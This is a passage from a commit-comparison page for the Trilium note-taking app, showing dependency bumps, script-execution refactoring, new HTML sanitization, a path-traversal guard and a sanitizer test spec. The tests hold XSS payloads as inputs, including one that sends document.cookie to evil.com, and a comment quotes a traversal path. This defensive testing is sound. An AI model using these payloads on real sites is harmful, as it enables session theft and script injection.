mirror of
https://github.com/zadam/trilium.git
synced 2026-02-20 05:17:00 +01:00
Compare commits
175 Commits
copilot/sw
...
feat/fun-t
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
f94f91656a | ||
|
|
5da90f9e16 | ||
|
|
4847f4094a | ||
|
|
3fb34e6ae1 | ||
|
|
135ed32374 | ||
|
|
9b1fc77d56 | ||
|
|
5b751fd6e2 | ||
|
|
39ece711d9 | ||
|
|
a77b5601be | ||
|
|
1f602f9cad | ||
|
|
bc89bc8270 | ||
|
|
a9facc7ce2 | ||
|
|
56ce25b8e8 | ||
|
|
4d5d9b4b70 | ||
|
|
b97ab913bf | ||
|
|
9fe7bdf79b | ||
|
|
4ebc4ece34 | ||
|
|
0110b3c4a2 | ||
|
|
fb20d4998a | ||
|
|
bd06c530e4 | ||
|
|
cd4505bcf0 | ||
|
|
173f4a23a5 | ||
|
|
b33d4e64b9 | ||
|
|
a4c95132bb | ||
|
|
095e797a02 | ||
|
|
aaec171d94 | ||
|
|
42b28993b2 | ||
|
|
09a39379ef | ||
|
|
29f7370c72 | ||
|
|
a07dcef2c4 | ||
|
|
6e696e1123 | ||
|
|
f0b1aa914d | ||
|
|
ce1ae2c9bd | ||
|
|
29597ddb48 | ||
|
|
1c1421fe3a | ||
|
|
918a52005e | ||
|
|
a3564b879f | ||
|
|
b78f3bbaa7 | ||
|
|
4cbdb5a073 | ||
|
|
758021e10c | ||
|
|
374e3560c3 | ||
|
|
57a3524cc3 | ||
|
|
9af4773b45 | ||
|
|
6942773965 | ||
|
|
734b3ee519 | ||
|
|
1b80fa8df2 | ||
|
|
afd6a05e0f | ||
|
|
5a4bd1933d | ||
|
|
a25dfce410 | ||
|
|
fc0490bc6a | ||
|
|
29cdd1d028 | ||
|
|
87a89f709a | ||
|
|
6f1991e20e | ||
|
|
700de58686 | ||
|
|
57e1208c27 | ||
|
|
b33fe2ca3a | ||
|
|
3c3e73edae | ||
|
|
ec4fd371b5 | ||
|
|
555b138a90 | ||
|
|
c139ff776c | ||
|
|
0c6b5e3b8e | ||
|
|
1138f9a0e9 | ||
|
|
4955bd782b | ||
|
|
f4e82acc67 | ||
|
|
a5806c0d1d | ||
|
|
bf302a84a9 | ||
|
|
fcc740d592 | ||
|
|
cee16dc3dc | ||
|
|
47601cd1da | ||
|
|
092a60fdd9 | ||
|
|
e8e7568bdc | ||
|
|
4caca56e3b | ||
|
|
e4432e6feb | ||
|
|
d8275e7ea8 | ||
|
|
952dc634b4 | ||
|
|
7dceca475d | ||
|
|
62a78bc272 | ||
|
|
6aaf277b45 | ||
|
|
a1c61768c4 | ||
|
|
8e4c88c10c | ||
|
|
b57780519c | ||
|
|
c07c4013be | ||
|
|
768211cc26 | ||
|
|
b4a31503ee | ||
|
|
6c2b3e238c | ||
|
|
f2ff834b9c | ||
|
|
86e1688358 | ||
|
|
d259eb1f9d | ||
|
|
568a668e9f | ||
|
|
0621dfbac7 | ||
|
|
827bb9a32f | ||
|
|
fd08654dd5 | ||
|
|
e5d750722e | ||
|
|
b43c4ad666 | ||
|
|
c9f93a4706 | ||
|
|
a38834f7e2 | ||
|
|
fcfc6f6476 | ||
|
|
b23a5348b5 | ||
|
|
782cd59407 | ||
|
|
7964bd3be4 | ||
|
|
3d41ce13b1 | ||
|
|
6f0881ab8a | ||
|
|
a6309715f3 | ||
|
|
5a06193e65 | ||
|
|
4912834537 | ||
|
|
d64f2c72b7 | ||
|
|
358d06a402 | ||
|
|
5deabe4260 | ||
|
|
1b1162e26e | ||
|
|
30ad5d531c | ||
|
|
99efc73e93 | ||
|
|
17c0071dd1 | ||
|
|
a26bec047f | ||
|
|
748e7cc1df | ||
|
|
f653c86965 | ||
|
|
58a41e58ee | ||
|
|
309a55f276 | ||
|
|
df96c6b9fa | ||
|
|
d779e078c7 | ||
|
|
ae224151a0 | ||
|
|
9f11717b69 | ||
|
|
ea25477e3d | ||
|
|
82576c9703 | ||
|
|
80f1fc4c7c | ||
|
|
41cd4bcef6 | ||
|
|
46a414e155 | ||
|
|
70a903f811 | ||
|
|
52db410c82 | ||
|
|
08da8d73e0 | ||
|
|
81a572af25 | ||
|
|
23c50f34fe | ||
|
|
70aa115933 | ||
|
|
0b8cba78d5 | ||
|
|
d8806eaa04 | ||
|
|
b8bc85856b | ||
|
|
cc097c5414 | ||
|
|
7551d0e044 | ||
|
|
489a88b8da | ||
|
|
48013dc264 | ||
|
|
4ee9d45dfc | ||
|
|
e00150a876 | ||
|
|
71668f8f8d | ||
|
|
b71424d239 | ||
|
|
d1a3bceaa6 | ||
|
|
483c57029a | ||
|
|
7e6daf5b36 | ||
|
|
b658253687 | ||
|
|
80b488deec | ||
|
|
10cf1a371e | ||
|
|
f645d9d721 | ||
|
|
900bfdff9d | ||
|
|
108ca5afb5 | ||
|
|
3df03a551c | ||
|
|
6ffbe19667 | ||
|
|
fea8de89c6 | ||
|
|
4afbabb977 | ||
|
|
b2ebaf111f | ||
|
|
9c2b01e3c9 | ||
|
|
dca201ce42 | ||
|
|
3774ea3768 | ||
|
|
0a9c6a3119 | ||
|
|
a6cbde88bb | ||
|
|
9c13f36ca0 | ||
|
|
fe4a11c5ad | ||
|
|
218343ca14 | ||
|
|
61953fd713 | ||
|
|
62ddf3a11b | ||
|
|
be12658864 | ||
|
|
b618e5a00f | ||
|
|
639b81b228 | ||
|
|
0c552eb0c0 | ||
|
|
ae723f9557 | ||
|
|
34d691341b | ||
|
|
8574a11cf7 | ||
|
|
3742cd4a51 |
@@ -9,9 +9,9 @@
|
||||
"keywords": [],
|
||||
"author": "Elian Doran <contact@eliandoran.me>",
|
||||
"license": "AGPL-3.0-only",
|
||||
"packageManager": "pnpm@10.29.3",
|
||||
"packageManager": "pnpm@10.30.0",
|
||||
"devDependencies": {
|
||||
"@redocly/cli": "2.18.1",
|
||||
"@redocly/cli": "2.19.1",
|
||||
"archiver": "7.0.1",
|
||||
"fs-extra": "11.3.3",
|
||||
"react": "19.2.4",
|
||||
|
||||
@@ -27,7 +27,7 @@
|
||||
"@mermaid-js/layout-elk": "0.2.0",
|
||||
"@mind-elixir/node-menu": "5.0.1",
|
||||
"@popperjs/core": "2.11.8",
|
||||
"@preact/signals": "2.8.0",
|
||||
"@preact/signals": "2.8.1",
|
||||
"@triliumnext/ckeditor5": "workspace:*",
|
||||
"@triliumnext/codemirror": "workspace:*",
|
||||
"@triliumnext/commons": "workspace:*",
|
||||
@@ -41,10 +41,11 @@
|
||||
"clsx": "2.1.1",
|
||||
"color": "5.0.3",
|
||||
"debounce": "3.0.0",
|
||||
"dompurify": "3.2.5",
|
||||
"draggabilly": "3.0.0",
|
||||
"force-graph": "1.51.1",
|
||||
"globals": "17.3.0",
|
||||
"i18next": "25.8.7",
|
||||
"i18next": "25.8.11",
|
||||
"i18next-http-backend": "3.0.2",
|
||||
"jquery": "4.0.0",
|
||||
"jquery.fancytree": "2.38.5",
|
||||
@@ -54,9 +55,9 @@
|
||||
"leaflet": "1.9.4",
|
||||
"leaflet-gpx": "2.2.0",
|
||||
"mark.js": "8.11.1",
|
||||
"marked": "17.0.2",
|
||||
"mermaid": "11.12.2",
|
||||
"mind-elixir": "5.8.0",
|
||||
"marked": "17.0.3",
|
||||
"mermaid": "11.12.3",
|
||||
"mind-elixir": "5.8.3",
|
||||
"normalize.css": "8.0.1",
|
||||
"panzoom": "9.4.3",
|
||||
"preact": "10.28.3",
|
||||
@@ -69,7 +70,7 @@
|
||||
},
|
||||
"devDependencies": {
|
||||
"@ckeditor/ckeditor5-inspector": "5.0.0",
|
||||
"@prefresh/vite": "2.4.11",
|
||||
"@prefresh/vite": "2.4.12",
|
||||
"@types/bootstrap": "5.2.10",
|
||||
"@types/jquery": "3.5.33",
|
||||
"@types/leaflet": "1.9.21",
|
||||
@@ -78,7 +79,7 @@
|
||||
"@types/reveal.js": "5.2.2",
|
||||
"@types/tabulator-tables": "6.3.1",
|
||||
"copy-webpack-plugin": "13.0.1",
|
||||
"happy-dom": "20.6.1",
|
||||
"happy-dom": "20.6.3",
|
||||
"lightningcss": "1.31.1",
|
||||
"script-loader": "0.7.2",
|
||||
"vite-plugin-static-copy": "3.2.0"
|
||||
|
||||
@@ -23,8 +23,6 @@ import NoteTreeWidget from "../widgets/note_tree.js";
|
||||
import NoteWrapperWidget from "../widgets/note_wrapper.js";
|
||||
import NoteDetail from "../widgets/NoteDetail.jsx";
|
||||
import QuickSearchWidget from "../widgets/quick_search.js";
|
||||
import { useNoteContext } from "../widgets/react/hooks.jsx";
|
||||
import FilePropertiesTab from "../widgets/ribbon/FilePropertiesTab.jsx";
|
||||
import ScrollPadding from "../widgets/scroll_padding";
|
||||
import SearchResult from "../widgets/search_result.jsx";
|
||||
import MobileEditorToolbar from "../widgets/type_widgets/text/mobile_editor_toolbar.jsx";
|
||||
|
||||
@@ -2,7 +2,6 @@ import { h, VNode } from "preact";
|
||||
|
||||
import BasicWidget, { ReactWrappedWidget } from "../widgets/basic_widget.js";
|
||||
import RightPanelWidget from "../widgets/right_panel_widget.js";
|
||||
import froca from "./froca.js";
|
||||
import type { Entity } from "./frontend_script_api.js";
|
||||
import { WidgetDefinitionWithType } from "./frontend_script_api_preact.js";
|
||||
import { t } from "./i18n.js";
|
||||
@@ -38,15 +37,18 @@ async function getAndExecuteBundle(noteId: string, originEntity = null, script =
|
||||
|
||||
export type ParentName = "left-pane" | "center-pane" | "note-detail-pane" | "right-pane";
|
||||
|
||||
export async function executeBundle(bundle: Bundle, originEntity?: Entity | null, $container?: JQuery<HTMLElement>) {
|
||||
export async function executeBundleWithoutErrorHandling(bundle: Bundle, originEntity?: Entity | null, $container?: JQuery<HTMLElement>) {
|
||||
const apiContext = await ScriptContext(bundle.noteId, bundle.allNoteIds, originEntity, $container);
|
||||
return await function () {
|
||||
return eval(`const apiContext = this; (async function() { ${bundle.script}\r\n})()`);
|
||||
}.call(apiContext);
|
||||
}
|
||||
|
||||
export async function executeBundle(bundle: Bundle, originEntity?: Entity | null, $container?: JQuery<HTMLElement>) {
|
||||
try {
|
||||
return await function () {
|
||||
return eval(`const apiContext = this; (async function() { ${bundle.script}\r\n})()`);
|
||||
}.call(apiContext);
|
||||
} catch (e: any) {
|
||||
showErrorForScriptNote(bundle.noteId, t("toast.bundle-error.message", { message: e.message }));
|
||||
return await executeBundleWithoutErrorHandling(bundle, originEntity, $container);
|
||||
} catch (e: unknown) {
|
||||
showErrorForScriptNote(bundle.noteId, t("toast.bundle-error.message", { message: getErrorMessage(e) }));
|
||||
logError("Widget initialization failed: ", e);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -15,7 +15,7 @@ import protectedSessionService from "./protected_session.js";
|
||||
import protectedSessionHolder from "./protected_session_holder.js";
|
||||
import renderService from "./render.js";
|
||||
import { applySingleBlockSyntaxHighlight } from "./syntax_highlight.js";
|
||||
import utils from "./utils.js";
|
||||
import utils, { getErrorMessage } from "./utils.js";
|
||||
|
||||
let idCounter = 1;
|
||||
|
||||
@@ -62,7 +62,10 @@ export async function getRenderedContent(this: {} | { ctx: string }, entity: FNo
|
||||
} else if (type === "render" && entity instanceof FNote) {
|
||||
const $content = $("<div>");
|
||||
|
||||
await renderService.render(entity, $content);
|
||||
await renderService.render(entity, $content, (e) => {
|
||||
const $error = $("<div>").addClass("admonition caution").text(typeof e === "string" ? e : getErrorMessage(e));
|
||||
$content.empty().append($error);
|
||||
});
|
||||
|
||||
$renderedContent.append($content);
|
||||
} else if (type === "doc" && "noteId" in entity) {
|
||||
|
||||
@@ -5,6 +5,7 @@ import froca from "./froca.js";
|
||||
import link from "./link.js";
|
||||
import { renderMathInElement } from "./math.js";
|
||||
import { getMermaidConfig } from "./mermaid.js";
|
||||
import { sanitizeNoteContentHtml } from "./sanitize_content.js";
|
||||
import { formatCodeBlocks } from "./syntax_highlight.js";
|
||||
import tree from "./tree.js";
|
||||
import { isHtmlEmpty } from "./utils.js";
|
||||
@@ -14,7 +15,7 @@ export default async function renderText(note: FNote | FAttachment, $renderedCon
|
||||
const blob = await note.getBlob();
|
||||
|
||||
if (blob && !isHtmlEmpty(blob.content)) {
|
||||
$renderedContent.append($('<div class="ck-content">').html(blob.content));
|
||||
$renderedContent.append($('<div class="ck-content">').html(sanitizeNoteContentHtml(blob.content)));
|
||||
|
||||
const seenNoteIds = options.seenNoteIds ?? new Set<string>();
|
||||
seenNoteIds.add("noteId" in note ? note.noteId : note.attachmentId);
|
||||
|
||||
@@ -9,6 +9,15 @@ export default function renderDoc(note: FNote) {
|
||||
const $content = $("<div>");
|
||||
|
||||
if (docName) {
|
||||
// Sanitize docName to prevent path traversal attacks (e.g.,
|
||||
// "../../../../api/notes/_malicious/open?x=" escaping doc_notes).
|
||||
docName = sanitizeDocName(docName);
|
||||
if (!docName) {
|
||||
console.warn("Blocked potentially malicious docName attribute value.");
|
||||
resolve($content);
|
||||
return;
|
||||
}
|
||||
|
||||
// find doc based on language
|
||||
const url = getUrl(docName, getCurrentLanguage());
|
||||
$content.load(url, async (response, status) => {
|
||||
@@ -48,6 +57,31 @@ async function processContent(url: string, $content: JQuery<HTMLElement>) {
|
||||
await applyReferenceLinks($content[0]);
|
||||
}
|
||||
|
||||
function sanitizeDocName(docNameValue: string): string | null {
|
||||
// Strip any path traversal sequences and dangerous URL characters.
|
||||
// Legitimate docName values are simple paths like "User Guide/Topic" or
|
||||
// "launchbar_intro" — they only contain alphanumeric chars, underscores,
|
||||
// hyphens, spaces, and forward slashes for subdirectories.
|
||||
// Reject values containing path traversal (../, ..\) or URL control
|
||||
// characters (?, #, :, @) that could be used to escape the doc_notes
|
||||
// directory or manipulate the resulting URL.
|
||||
if (/\.\.|[?#:@\\]/.test(docNameValue)) {
|
||||
return null;
|
||||
}
|
||||
|
||||
// Remove any leading slashes to prevent absolute path construction.
|
||||
docNameValue = docNameValue.replace(/^\/+/, "");
|
||||
|
||||
// After stripping, ensure only safe characters remain:
|
||||
// alphanumeric, spaces, underscores, hyphens, forward slashes, and periods
|
||||
// (periods are allowed for filenames but .. was already rejected above).
|
||||
if (!/^[a-zA-Z0-9 _\-/.']+$/.test(docNameValue)) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return docNameValue;
|
||||
}
|
||||
|
||||
function getUrl(docNameValue: string, language: string) {
|
||||
// Cannot have spaces in the URL due to how JQuery.load works.
|
||||
docNameValue = docNameValue.replaceAll(" ", "%20");
|
||||
|
||||
@@ -7,6 +7,7 @@ import contentRenderer from "./content_renderer.js";
|
||||
import appContext from "../components/app_context.js";
|
||||
import type FNote from "../entities/fnote.js";
|
||||
import { t } from "./i18n.js";
|
||||
import { sanitizeNoteContentHtml } from "./sanitize_content.js";
|
||||
|
||||
// Track all elements that open tooltips
|
||||
let openTooltipElements: JQuery<HTMLElement>[] = [];
|
||||
@@ -90,7 +91,8 @@ async function mouseEnterHandler(this: HTMLElement) {
|
||||
return;
|
||||
}
|
||||
|
||||
const html = `<div class="note-tooltip-content">${content}</div>`;
|
||||
const sanitizedContent = sanitizeNoteContentHtml(content);
|
||||
const html = `<div class="note-tooltip-content">${sanitizedContent}</div>`;
|
||||
const tooltipClass = "tooltip-" + Math.floor(Math.random() * 999_999_999);
|
||||
|
||||
// we need to check if we're still hovering over the element
|
||||
@@ -108,6 +110,8 @@ async function mouseEnterHandler(this: HTMLElement) {
|
||||
title: html,
|
||||
html: true,
|
||||
template: `<div class="tooltip note-tooltip ${tooltipClass}" role="tooltip"><div class="arrow"></div><div class="tooltip-inner"></div></div>`,
|
||||
// Content is pre-sanitized via DOMPurify so Bootstrap's built-in sanitizer
|
||||
// (which is too aggressive for our rich-text content) can be disabled.
|
||||
sanitize: false,
|
||||
customClass: linkId
|
||||
});
|
||||
|
||||
@@ -1,56 +0,0 @@
|
||||
import { h, VNode } from "preact";
|
||||
|
||||
import type FNote from "../entities/fnote.js";
|
||||
import { renderReactWidgetAtElement } from "../widgets/react/react_utils.jsx";
|
||||
import bundleService, { type Bundle } from "./bundle.js";
|
||||
import froca from "./froca.js";
|
||||
import server from "./server.js";
|
||||
|
||||
async function render(note: FNote, $el: JQuery<HTMLElement>, onError?: (e: unknown) => void) {
|
||||
const relations = note.getRelations("renderNote");
|
||||
const renderNoteIds = relations.map((rel) => rel.value).filter((noteId) => noteId);
|
||||
|
||||
$el.empty().toggle(renderNoteIds.length > 0);
|
||||
|
||||
for (const renderNoteId of renderNoteIds) {
|
||||
const bundle = await server.post<Bundle>(`script/bundle/${renderNoteId}`);
|
||||
|
||||
const $scriptContainer = $("<div>");
|
||||
$el.append($scriptContainer);
|
||||
|
||||
$scriptContainer.append(bundle.html);
|
||||
|
||||
// async so that scripts cannot block trilium execution
|
||||
bundleService.executeBundle(bundle, note, $scriptContainer)
|
||||
.catch(onError)
|
||||
.then(result => {
|
||||
// Render JSX
|
||||
if (bundle.html === "") {
|
||||
renderIfJsx(bundle, result, $el).catch(onError);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
return renderNoteIds.length > 0;
|
||||
}
|
||||
|
||||
async function renderIfJsx(bundle: Bundle, result: unknown, $el: JQuery<HTMLElement>) {
|
||||
// Ensure the root script note is actually a JSX.
|
||||
const rootScriptNoteId = await froca.getNote(bundle.noteId);
|
||||
if (rootScriptNoteId?.mime !== "text/jsx") return;
|
||||
|
||||
// Ensure the output is a valid el.
|
||||
if (typeof result !== "function") return;
|
||||
|
||||
// Obtain the parent component.
|
||||
const closestComponent = glob.getComponentByEl($el.closest(".component")[0]);
|
||||
if (!closestComponent) return;
|
||||
|
||||
// Render the element.
|
||||
const el = h(result as () => VNode, {});
|
||||
renderReactWidgetAtElement(closestComponent, el, $el[0]);
|
||||
}
|
||||
|
||||
export default {
|
||||
render
|
||||
};
|
||||
86
apps/client/src/services/render.tsx
Normal file
86
apps/client/src/services/render.tsx
Normal file
@@ -0,0 +1,86 @@
|
||||
import { Component, h, VNode } from "preact";
|
||||
|
||||
import type FNote from "../entities/fnote.js";
|
||||
import { renderReactWidgetAtElement } from "../widgets/react/react_utils.jsx";
|
||||
import { type Bundle, executeBundleWithoutErrorHandling } from "./bundle.js";
|
||||
import froca from "./froca.js";
|
||||
import server from "./server.js";
|
||||
|
||||
type ErrorHandler = (e: unknown) => void;
|
||||
|
||||
async function render(note: FNote, $el: JQuery<HTMLElement>, onError?: ErrorHandler) {
|
||||
const relations = note.getRelations("renderNote");
|
||||
const renderNoteIds = relations.map((rel) => rel.value).filter((noteId) => noteId);
|
||||
|
||||
$el.empty().toggle(renderNoteIds.length > 0);
|
||||
|
||||
try {
|
||||
for (const renderNoteId of renderNoteIds) {
|
||||
const bundle = await server.postWithSilentInternalServerError<Bundle>(`script/bundle/${renderNoteId}`);
|
||||
|
||||
const $scriptContainer = $("<div>");
|
||||
$el.append($scriptContainer);
|
||||
|
||||
$scriptContainer.append(bundle.html);
|
||||
|
||||
// async so that scripts cannot block trilium execution
|
||||
executeBundleWithoutErrorHandling(bundle, note, $scriptContainer)
|
||||
.catch(onError)
|
||||
.then(result => {
|
||||
// Render JSX
|
||||
if (bundle.html === "") {
|
||||
renderIfJsx(bundle, result, $el, onError).catch(onError);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
return renderNoteIds.length > 0;
|
||||
} catch (e) {
|
||||
if (typeof e === "string" && e.startsWith("{") && e.endsWith("}")) {
|
||||
try {
|
||||
onError?.(JSON.parse(e));
|
||||
} catch (e) {
|
||||
onError?.(e);
|
||||
}
|
||||
} else {
|
||||
onError?.(e);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async function renderIfJsx(bundle: Bundle, result: unknown, $el: JQuery<HTMLElement>, onError?: ErrorHandler) {
|
||||
// Ensure the root script note is actually a JSX.
|
||||
const rootScriptNoteId = await froca.getNote(bundle.noteId);
|
||||
if (rootScriptNoteId?.mime !== "text/jsx") return;
|
||||
|
||||
// Ensure the output is a valid el.
|
||||
if (typeof result !== "function") return;
|
||||
|
||||
// Obtain the parent component.
|
||||
const closestComponent = glob.getComponentByEl($el.closest(".component")[0]);
|
||||
if (!closestComponent) return;
|
||||
|
||||
// Render the element.
|
||||
const UserErrorBoundary = class UserErrorBoundary extends Component {
|
||||
constructor(props: object) {
|
||||
super(props);
|
||||
this.state = { error: null };
|
||||
}
|
||||
|
||||
componentDidCatch(error: unknown) {
|
||||
onError?.(error);
|
||||
this.setState({ error });
|
||||
}
|
||||
|
||||
render() {
|
||||
if ("error" in this.state && this.state?.error) return null;
|
||||
return this.props.children;
|
||||
}
|
||||
};
|
||||
const el = h(UserErrorBoundary, {}, h(result as () => VNode, {}));
|
||||
renderReactWidgetAtElement(closestComponent, el, $el[0]);
|
||||
}
|
||||
|
||||
export default {
|
||||
render
|
||||
};
|
||||
236
apps/client/src/services/sanitize_content.spec.ts
Normal file
236
apps/client/src/services/sanitize_content.spec.ts
Normal file
@@ -0,0 +1,236 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { sanitizeNoteContentHtml } from "./sanitize_content";
|
||||
|
||||
describe("sanitizeNoteContentHtml", () => {
|
||||
// --- Preserves legitimate CKEditor content ---
|
||||
|
||||
it("preserves basic rich text formatting", () => {
|
||||
const html = '<p><strong>Bold</strong> and <em>italic</em> text</p>';
|
||||
expect(sanitizeNoteContentHtml(html)).toBe(html);
|
||||
});
|
||||
|
||||
it("preserves headings", () => {
|
||||
const html = '<h1>Title</h1><h2>Subtitle</h2><h3>Section</h3>';
|
||||
expect(sanitizeNoteContentHtml(html)).toBe(html);
|
||||
});
|
||||
|
||||
it("preserves links with href", () => {
|
||||
const html = '<a href="https://example.com">Link</a>';
|
||||
expect(sanitizeNoteContentHtml(html)).toBe(html);
|
||||
});
|
||||
|
||||
it("preserves internal note links with data attributes", () => {
|
||||
const html = '<a class="reference-link" href="#root/abc123" data-note-path="root/abc123">My Note</a>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).toContain('class="reference-link"');
|
||||
expect(result).toContain('href="#root/abc123"');
|
||||
expect(result).toContain('data-note-path="root/abc123"');
|
||||
expect(result).toContain(">My Note</a>");
|
||||
});
|
||||
|
||||
it("preserves images with src", () => {
|
||||
const html = '<img src="api/images/abc123/image.png" alt="test">';
|
||||
expect(sanitizeNoteContentHtml(html)).toContain('src="api/images/abc123/image.png"');
|
||||
});
|
||||
|
||||
it("preserves tables", () => {
|
||||
const html = '<table><thead><tr><th>Header</th></tr></thead><tbody><tr><td>Cell</td></tr></tbody></table>';
|
||||
expect(sanitizeNoteContentHtml(html)).toBe(html);
|
||||
});
|
||||
|
||||
it("preserves code blocks", () => {
|
||||
const html = '<pre><code class="language-javascript">const x = 1;</code></pre>';
|
||||
expect(sanitizeNoteContentHtml(html)).toBe(html);
|
||||
});
|
||||
|
||||
it("preserves include-note sections with data-note-id", () => {
|
||||
const html = '<section class="include-note" data-note-id="abc123"> </section>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).toContain('class="include-note"');
|
||||
expect(result).toContain('data-note-id="abc123"');
|
||||
expect(result).toContain(" </section>");
|
||||
});
|
||||
|
||||
it("preserves figure and figcaption", () => {
|
||||
const html = '<figure><img src="test.png"><figcaption>Caption</figcaption></figure>';
|
||||
expect(sanitizeNoteContentHtml(html)).toContain("<figure>");
|
||||
expect(sanitizeNoteContentHtml(html)).toContain("<figcaption>");
|
||||
});
|
||||
|
||||
it("preserves task list checkboxes", () => {
|
||||
const html = '<ul><li><input type="checkbox" checked disabled>Task done</li></ul>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).toContain('type="checkbox"');
|
||||
expect(result).toContain("checked");
|
||||
});
|
||||
|
||||
it("preserves inline styles for colors", () => {
|
||||
const html = '<span style="color: red;">Red text</span>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).toContain("style");
|
||||
expect(result).toContain("color");
|
||||
});
|
||||
|
||||
it("preserves data-* attributes", () => {
|
||||
const html = '<div data-custom-attr="value" data-note-id="abc">Content</div>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).toContain('data-custom-attr="value"');
|
||||
expect(result).toContain('data-note-id="abc"');
|
||||
});
|
||||
|
||||
// --- Blocks XSS vectors ---
|
||||
|
||||
it("strips script tags", () => {
|
||||
const html = '<p>Hello</p><script>alert("XSS")</script><p>World</p>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).not.toContain("<script");
|
||||
expect(result).not.toContain("alert");
|
||||
expect(result).toContain("<p>Hello</p>");
|
||||
expect(result).toContain("<p>World</p>");
|
||||
});
|
||||
|
||||
it("strips onerror event handlers on images", () => {
|
||||
const html = '<img src="x" onerror="alert(1)">';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).not.toContain("onerror");
|
||||
expect(result).not.toContain("alert");
|
||||
});
|
||||
|
||||
it("strips onclick event handlers", () => {
|
||||
const html = '<div onclick="alert(1)">Click me</div>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).not.toContain("onclick");
|
||||
expect(result).not.toContain("alert");
|
||||
});
|
||||
|
||||
it("strips onload event handlers", () => {
|
||||
const html = '<img src="x" onload="alert(1)">';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).not.toContain("onload");
|
||||
expect(result).not.toContain("alert");
|
||||
});
|
||||
|
||||
it("strips onmouseover event handlers", () => {
|
||||
const html = '<span onmouseover="alert(1)">Hover</span>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).not.toContain("onmouseover");
|
||||
expect(result).not.toContain("alert");
|
||||
});
|
||||
|
||||
it("strips onfocus event handlers", () => {
|
||||
const html = '<input onfocus="alert(1)" autofocus>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).not.toContain("onfocus");
|
||||
expect(result).not.toContain("alert");
|
||||
});
|
||||
|
||||
it("strips javascript: URIs in href", () => {
|
||||
const html = '<a href="javascript:alert(1)">Click</a>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).not.toContain("javascript:");
|
||||
});
|
||||
|
||||
it("strips javascript: URIs in img src", () => {
|
||||
const html = '<img src="javascript:alert(1)">';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).not.toContain("javascript:");
|
||||
});
|
||||
|
||||
it("strips iframe tags", () => {
|
||||
const html = '<iframe src="https://evil.com"></iframe>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).not.toContain("<iframe");
|
||||
});
|
||||
|
||||
it("strips object tags", () => {
|
||||
const html = '<object data="evil.swf"></object>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).not.toContain("<object");
|
||||
});
|
||||
|
||||
it("strips embed tags", () => {
|
||||
const html = '<embed src="evil.swf">';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).not.toContain("<embed");
|
||||
});
|
||||
|
||||
it("strips style tags", () => {
|
||||
const html = '<style>body { background: url("javascript:alert(1)") }</style><p>Text</p>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).not.toContain("<style");
|
||||
expect(result).toContain("<p>Text</p>");
|
||||
});
|
||||
|
||||
it("strips SVG with embedded script", () => {
|
||||
const html = '<svg><script>alert(1)</script></svg>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).not.toContain("<script");
|
||||
expect(result).not.toContain("alert");
|
||||
});
|
||||
|
||||
it("strips meta tags", () => {
|
||||
const html = '<meta http-equiv="refresh" content="0;url=evil.com"><p>Text</p>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).not.toContain("<meta");
|
||||
});
|
||||
|
||||
it("strips base tags", () => {
|
||||
const html = '<base href="https://evil.com/"><p>Text</p>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).not.toContain("<base");
|
||||
});
|
||||
|
||||
it("strips link tags", () => {
|
||||
const html = '<link rel="stylesheet" href="evil.css"><p>Text</p>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).not.toContain("<link");
|
||||
});
|
||||
|
||||
// --- Edge cases ---
|
||||
|
||||
it("handles empty string", () => {
|
||||
expect(sanitizeNoteContentHtml("")).toBe("");
|
||||
});
|
||||
|
||||
it("handles null-like falsy values", () => {
|
||||
expect(sanitizeNoteContentHtml(null as unknown as string)).toBe(null);
|
||||
expect(sanitizeNoteContentHtml(undefined as unknown as string)).toBe(undefined);
|
||||
});
|
||||
|
||||
it("handles nested XSS attempts", () => {
|
||||
const html = '<div><p>Safe</p><img src=x onerror="fetch(\'https://evil.com/?c=\'+document.cookie)"><p>Also safe</p></div>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).not.toContain("onerror");
|
||||
expect(result).not.toContain("fetch");
|
||||
expect(result).not.toContain("cookie");
|
||||
expect(result).toContain("Safe");
|
||||
expect(result).toContain("Also safe");
|
||||
});
|
||||
|
||||
it("handles case-varied event handlers", () => {
|
||||
const html = '<img src="x" ONERROR="alert(1)">';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result.toLowerCase()).not.toContain("onerror");
|
||||
});
|
||||
|
||||
it("strips dangerous data: URI on anchor elements", () => {
|
||||
const html = '<a href="data:text/html,<script>alert(1)</script>">Click</a>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
// DOMPurify should either strip the href or remove the dangerous content
|
||||
expect(result).not.toContain("<script");
|
||||
expect(result).not.toContain("alert(1)");
|
||||
});
|
||||
|
||||
it("allows data: URI on image elements", () => {
|
||||
const html = '<img src="data:image/png;base64,iVBOR...">';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).toContain("data:image/png");
|
||||
});
|
||||
|
||||
